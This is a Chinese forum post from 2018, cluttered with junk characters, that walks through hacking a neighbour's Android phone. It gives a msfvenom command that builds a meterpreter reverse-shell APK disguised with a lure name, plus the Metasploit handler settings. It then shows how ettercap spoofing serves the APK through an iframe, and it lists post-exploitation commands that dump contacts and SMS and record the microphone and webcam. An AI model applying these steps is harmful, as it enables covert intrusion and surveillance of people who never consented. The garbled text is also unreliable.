|
3 A' H4 U) }2 U8 w9 R
五、msf+ettercap入侵邻居安卓手机 8 O% P) u' Y3 D/ E
: E0 ` b: l1 O+ b, @# q1 x; e7 u7 ]3 [
首先启动msf
& R) r, v* q; s1 Y' |4 X2 \
7 D, v; ^" I5 Q' n
$ {- A& z7 o7 i- L1 p$ D4 c$ d 先用kali生成一个安卓木马，如下命令： * O# y1 f- |# R: g& }
2 h4 P. C7 Z' t2 _# t, V% m* Y9 ~, J4 j) h' B* _; w
Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk / v/ i/ Y. U! {4 q% {2 M0 \- e9 P% U
, T( r0 F* e6 e1 |& w5 g* V$ d& m6 G: R, u, h
 为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻
; \: a# T/ I+ V3 _. _/ F
4 s( s1 Z" E1 |' T
$ Q# }& z2 o4 N0 [, n, E5 o# v 然后进入msf
% @1 ^8 K7 Q7 _2 q: ^ - f6 u& e# Z" m) s4 @2 p# E
. n- L/ O0 d7 k3 ~; S, {' `+ d
use exploit/multi/handler 9 l9 j: j% Y6 N6 E9 t" P% C
/ A3 |$ S! h+ Y4 M$ p% a
: T. H+ i0 l' e& C9 |3 H0 V
set payload android/meterpreter/reverse_tcp 0 o) L2 l( y- U9 N+ c9 \# n' k
' G! N: p3 L" J2 e5 u o1 s
/ T0 ^# @* Q+ H5 a1 j" k, r
set LHOST 192.168.0.109 //ip为kaili的ip ; [$ L2 V- ~8 J9 |' o) O7 V) K- d
. }6 y- W) g# |$ i) Z( _- g% C
# P: C4 c7 ~7 U9 n! C1 N* f set LPORT 44444 //端口一定要与前面生成的木马的端口一致 5 X, [1 M5 ~# `' T+ ?4 c
* C+ v7 z3 F( J" C
" A5 b: T+ D+ Q8 M R Exploit 8 F, `# R% y8 A0 S5 K
4 J6 X4 _( Z7 S6 F7 {1 Q% Y8 U
, Y5 ~" v2 j' \% Y: N7 a 
4 }; ~* g+ t0 B: g F2 v
) W. f9 m6 Q! g5 `/ C
% i6 H% }% d+ u+ S. t/ }8 N4 L( P; L6 P 下面我们开启ettercap -G ; N& X: X' [ b: s' Y3 w
* B* U! r; |! V1 u' ^! O3 J H' f+ \
3 K% Z) @9 y+ E0 x- N# A 我物理IP为
& i" V$ x3 D- R" F7 w- k0 G# v / F3 b# b' _: J* k; O/ ]
7 X. I5 {' o* G# C 
f3 h# r% H( ?; \; M2 o1 A) t0 r
1 Q0 \4 d& G! x; u1 x; B6 {9 p0 N6 Q
别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的，
, y+ |* Z) a# p# V * F1 I, |8 d4 A# j. W9 X
" n5 t, K. U" ?. e- L
下面我们来设置一下
k% D! G. n( r5 f7 G7 Q
, {" v( `+ q: ~' r* w0 t0 x1 R |6 e5 D
' I& Q+ ?: Z# r, o5 }* z
1 C4 F: Z. F/ c
8 y6 }1 M9 Z& J; w% R 在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了， ; T5 t: m- b- q* s; v. o( l9 ~+ u
/ i V$ G7 }5 z" b) Y' E2 a* {) A, Y" j* C
# P+ p0 Z5 l; d0 ^2 E7 b( u1 h: b
4 D! p4 V$ B; v, M& X! @
8 w4 G" G$ O" ]  " G# }7 o4 p: B1 `
& T) g! Y4 _* q0 S% D- i
$ `8 L0 U9 E. ]* I3 e* b, F & q) I& j; |6 x7 J7 Z. N
) Q$ C8 d7 h7 n8 M
3 T4 f9 A5 F$ k1 F. ~ R6 I
3 l! j* `6 u4 t; s 3 k1 F3 W# J A0 Z( x
3 W1 j$ m/ A! q+ ]
, y& l0 |4 C5 b& g7 ~
% ~7 ~" ]/ \- s) z1 G' Z
/ H7 [# v, n- v$ Q% N $ T" }4 `) F$ b& E. n/ _
- R2 d& W/ n5 H2 h! s1 V- X( V5 O
g% e2 D4 P# t4 q: u8 v 3 P/ w" k# l2 L7 ? F) \
: @3 b. X* q$ a$ N( N
5 o4 c4 Q2 }2 i) t/ S
7 \- h' g. |% _+ v ' n M- G0 {; n9 M( m2 W
: a4 }& ?, V* \; ?0 Y/ y
+ E1 k3 c# u4 x+ }" F
8 p( _; d- `' w* S; X) n0 u# Y
/ p# _8 W1 D$ g D' r. x$ c/ S# @3 M1 }0 P' a
# ]; B4 ]. T6 s2 P9 L. g% m
$ @3 n4 R5 G h
5 P* Z9 b+ Z, a4 E. h2 e6 U
, G9 l: w9 p( w! S* W2 [! `, N! q, o! {" j Q8 t7 g1 W& h
8 F' t2 Z G2 n+ s& u/ W& B
4 F1 e3 w" J% |. o. {, M' F2 U: {, W% u. g d* d
q. G- y8 i: l9 i ' q. S! X5 ~; a: D
3 d5 ]% |) L3 g
下面我们开始攻击 ' d4 H8 w1 Y3 r2 H# ?
; s7 z' Q! E: V9 s8 m: m6 b/ S1 c0 m1 u
7 ]- T, b- \& R3 a* i
% F' h+ d4 |6 P: n+ B0 `& ]4 O 9 f3 X+ l* t+ z7 k' ~: r4 T
5 a' V' ^' w2 _2 j6 f' a6 p+ C Z, r( U& d+ g/ H) t
0 H D! Y% a2 m. q% B- _: U0 t
) E8 Z4 ~" X8 u& n ' E" F7 [% H# e! `& L
( r$ w( r- O6 ~) m: C
: r( q# r. z9 G6 w, X' G7 c ' j4 v4 r. K5 L
, v4 N+ m r$ j
/ g7 ~! _, _8 B* R7 g% t& v
! E9 _* `* E9 X4 ?* d/ n6 a
5 q2 P0 I8 p/ k. L7 Z7 E, \& v$ N% b: ?6 G0 n6 _, ^9 x2 k5 t
大概过了5分钟多，发现反弹成功了
0 l7 e6 \' `: |$ |4 h
i& d F/ G% f) x1 k0 l+ E& R) W2 c! E8 U2 t! m J! ?; l# \9 H2 P/ D
' n, Z5 W! \% }' q. ^ 1 h4 p) B/ \& M. u
( u4 C% ?& e2 z# \* L
4 X! ?7 e# p' a
% C1 F1 w; \4 m2 U* v0 }: L3 n" n' P0 D: o$ N/ q) B
' I4 d9 y7 N! Y& m( S0 t7 O9 s* u
5 `& i* `# z- h; J6 D6 r' K, P2 Z" Q" N+ v$ S6 ?0 X
# S2 ?) M$ L: s8 _, t ! \/ D7 G6 v) e
9 Q' n) m( |( B4 Q" @ + {; r9 [4 l$ i7 z
3 x! i/ n+ Q8 e. b
# ^, u& C8 _6 b+ T' Z% U0 A8 d 3 w# R: A# J/ y; f* j7 H
8 {7 b4 |! a# e, ^: U$ Q! h2 |
# v4 \9 J/ {* R, U4 F8 T: N9 B9 J
 ) |# H+ p3 e }0 t- g8 q
8 O9 S9 @) T$ A( `7 n
1 L. G/ b# I' t; Y! \7 D 执行命令
. T- m- e% S$ }- a
% B1 ?$ A' |: Z2 ]; [& h; y
! b& N7 x! Y- O; ~ . h" g' Z! S& r8 H; @/ D1 a
. ~( P* A* H0 Y6 b3 u" \. N8 Z2 H5 T( r6 P
dump_contacts --》这个是导出电话 - ^$ q1 D' w7 U8 {& X' Q9 u
( J, O+ \1 R* f2 V: a7 C( d: z2 I* v# y! G) M# T' z ^. M' ~
dump_sms --》这个是导出信息
5 c9 n+ P# R# J+ z9 x2 d6 w
2 R) E% a8 ~9 s7 c+ r" j2 ~- U( g: D& c5 b* i
record_mic Record audio from the default microphone for X seconds ! j) u4 F0 O: H( z, u
' X( s/ J) O% `' E9 k
9 P# S- s/ O7 o8 k9 N: R" F webcam_chat Start a video chat
2 D6 Q2 m) E4 r4 N* I! ~
0 ]3 t( l9 q1 e8 [6 m$ H: _) O: F0 [4 w$ a! k' ?% L7 C# }: }- }/ W
webcam_list List webcams
7 O( J: }5 P9 N8 Q9 L. c" r
1 I; u" t3 f/ W$ i5 u2 C5 P9 D, O3 X: o9 z& A$ R
webcam_snap Take a snapshot from the specified webcam
( V p9 @4 R6 j7 p# { o & ~( z9 N0 n9 e/ \ T( \0 ~% r! t
. ~5 `, b2 S: M$ H webcam_stream  lay a video stream from the specified webcam
4 w( q! K) h) H% l0 B) E- U5 l
& J% c' u9 V8 |2 V
" N) w: A: d5 r0 ?# o) N 
0 a* _" ^: D; a2 b* U / R; K1 p# m) _
' Q6 d8 J% Q# @$ o' E% W
 ( B. F/ t. l V! A- `& {2 ~
" {: Y3 j N; N% l: i( H, v' a3 i
9 t4 H, j: X8 N; j& l) _) l
我们打开看一下电话薄， ) N1 I* ?4 s" C. @0 d0 N! ?) Q& ^: Q
. z, s: s0 N0 i) r& J: N
9 j7 ~" F0 ?" [% T
o3 p8 Q! H9 s6 E
$ h9 G/ C" J3 z+ d+ u4 T5 t' ]# C- g
 4 c+ N& a3 k, H; s! Z& b& G
2 W _4 j! n2 P( v; ?7 G1 Y
% [3 M$ D3 I' X1 _/ G ; [( v# _; q# B8 ~
' {& u! \# I" |
& u( R! ]6 }+ i$ r% `1 z; [; A1 E2 t
% S7 J; n+ P& G1 N$ a $ E$ f4 h! T- g
' l* I2 |8 f; P) Q2 Q! S6 E( T  0 m* W4 c$ A- m* ?8 c
8 d) C: S7 t5 F3 b' _* @( q& Y2 d p; u
0 X9 O) ?, u# Z2 E7 A # J4 \# C Q2 Y* o
) E1 x, q. h# u! u' u7 w4 Y
我们同时欺骗成DroidJack木马，使用方法如图： ( m) x6 l( K Y/ S' i; @. V
+ a/ y& Q( m$ n# m6 S7 B
/ o" Y3 k0 L4 f3 @  $ y& F, V' ~) e6 }
. a3 O' |- K- l! X0 T9 d
& z1 t% I5 C5 u; f6 X+ V2 ?+ a; y
- l1 @5 p. r* |3 U+ a0 U2 b8 i k
, T/ o. Q7 R% k" t
4 G5 }( s/ k! v& O, { 
3 N4 g+ I1 R' q1 Z 2 Z7 Q$ ~- S6 d$ X3 x, Z% v
I0 @8 u- T" |# ~5 _+ e/ I# s
切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口 & G0 v) r# [$ z t7 \
) T. W, U3 N5 D; \3 e2 i- _, e+ j% w
- g5 ]8 P. Y" S+ k2 \ 
5 S# t* G" M% {6 ]/ ~
1 o2 ] ?, J; m) m+ O: B2 j& b
' w5 H! H! Y/ V' c" Y1 p! V  - G z% s$ _: ?
# y' p5 e2 g4 a7 q6 l
- F+ w" k% L! n  ; s( s9 B, F D7 Y
% T& I9 @9 c* H! o/ t
6 V" I9 ^) l3 d4 f% R1 _  
$ x, D |7 m8 ]1 N
7 A# j' G, ]* y: n% O0 X8 i6 @1 U. ?$ j3 u% k; ?0 F+ N; J! i
+ V# k7 d% _3 M( \* M
| 
发表于 2018-10-20 20:30:37
收藏
支持
反对